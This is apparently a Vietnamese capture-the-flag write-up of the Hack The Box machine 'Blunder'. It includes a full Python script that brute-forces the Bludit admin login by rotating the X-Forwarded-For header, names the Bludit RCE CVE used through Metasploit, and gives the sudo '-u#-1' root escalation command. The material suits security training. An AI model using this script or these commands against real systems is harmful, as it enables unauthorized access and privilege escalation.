[HTB Write-up] Blunder

0. Mở đầu

Blunder là một machine được đánh giá easy, tại thời điểm mình làm bài thì nó đã ra được 58 ngày. Với base là Linux thì mình cũng quen thuộc hơn.

Dựa vào matrix rate có thể thấy việc quan trọng nhất là recon và tìm ra được CVE của machine, kể cả là để RCE hay leo quyền! Với việc thiên hướng CVE như thế này thì cũng không quá khó hiểu khi machine được đánh giá "easy".

Start !

1. Write-up

Như mọi khi, sử dụng nmap trước:

nmap -Pn -n -v -sV -sS -T5 -p- -oN normal.txt 10.10.10.191

Chỉ có port 21 và 80, mà port 21 đã closed.

Như vậy chỉ có thể tập trung vào exploit Web.

Dùng gobuster để brute-force đường path, ra được một số thông tin có vẻ có thể dùng được.

Nhưng dạo vòng quanh không thấy gì đặc sắc và có thể khai thác, admin/login cũng không dùng một số default credentials.

Vậy phải tìm lỗi dựa vào version 3.9.2:

Tìm được một số link, chủ yếu liên quan tới brute-force admin panel, có vẻ người chơi Hackthebox không thích các lỗi liên quan tới brute-force lắm, minh chứng là rate của bài chỉ ở 3.3 sao:

https://rastating.github.io/bludit-brute-force-mitigation-bypass/

Custom lại và chạy thử, password sử dụng của metasploit tại: /usr/share/wordlists/metasploit/unix_passwords.txt và một số password tại https://github.com/danielmiessler/SecLists/tree/master/Passwords/Common-Credentials

nhưng không thành công.

Recon lại, tại todo.txt chúng ta có:

Dùng fergus làm username và brute-force lại nhưng không được= > Thử tạo từ điển password riêng.

Sử dụng cwel

cewl -d 3 -m 5 -w passwd.txt http://10.10.10.191/

Đây là một công cụ tự động genarate password dựa vào những thông tin nó nhận được từ URL người dùng cung cấp. Là một tool rất hay và thú vị.

Mã exploit:

#!/usr/bin/env python3
import re
import requests

host = "http://10.10.10.191" # change to the appropriate URL

login_url = host + '/admin/login'
username = 'fergus' # Change to the appropriate username
fname = "passwd.txt" #change this to the appropriate file you can specify the full path to the file
with open(fname) as f:
    content = f.readlines()
    word1 = [x.strip() for x in content] 
wordlist = word1

for password in wordlist:
    session = requests.Session()
    login_page = session.get(login_url)
    csrf_token = re.search('input.+?name="tokenCSRF".+?value="(.+?)"', login_page.text).group(1)

    print('[*] Trying: {p}'.format(p = password))

    headers = {
        'X-Forwarded-For': password,
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36',
        'Referer': login_url
    }

    data = {
        'tokenCSRF': csrf_token,
        'username': username,
        'password': password,
        'save': ''
    }

    login_result = session.post(login_url, headers = headers, data = data, allow_redirects = False)

    if 'location' in login_result.headers:
        if '/admin/dashboard' in login_result.headers['location']:
            print()
            print('SUCCESS: Password found!')
            print('Use {u}:{p} to login.'.format(u = username, p = password))
            print()
            break

Password đúng sau khi chạy script: RolandDeschain. Như này thì đúng là không biết phải thử đến bao giờ nếu không có công cụ cewl ở trên. Bằng một cách magic nào đó nó đã tạo ra được password kia !

Sau khi login, tìm kiếm CVE của bludit 3.9.2. Có CVE liên quan tới RCE:

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16113

Exploit sử dụng metasploit:

Chúng ta có shell dưới quyền www-data:

Lên tty shell:

python -c 'import pty;pty.spawn("/bin/bash")'

User Flag

Tại /var/www/bludit-3.10.0a/bl-content/databases:

cat users.php

Detect xem là loại mã hóa nào, đây là SHA-1:

Tại home chúng ta có 2 User:

Crack password trên chúng ta có: Password120

switch user sang hugo và lấy User flag:

Root Flag

Check sudo rights trước:

CVE của (ALL, !root) /bin/bash có mã: CVE-2019-14287

exploit:

sudo -u#-1 /bin/bash

Và lấy root flag, như vậy có thể đánh giá là việc leo quyền trong bài này là rất nhanh và dễ.

2. Kết luận

Machine không khó, dựa vào các public resource có thể dễ dàng có Flag. Một bài tốt để bắt đầu...chơi lại HTB


All Rights Reserved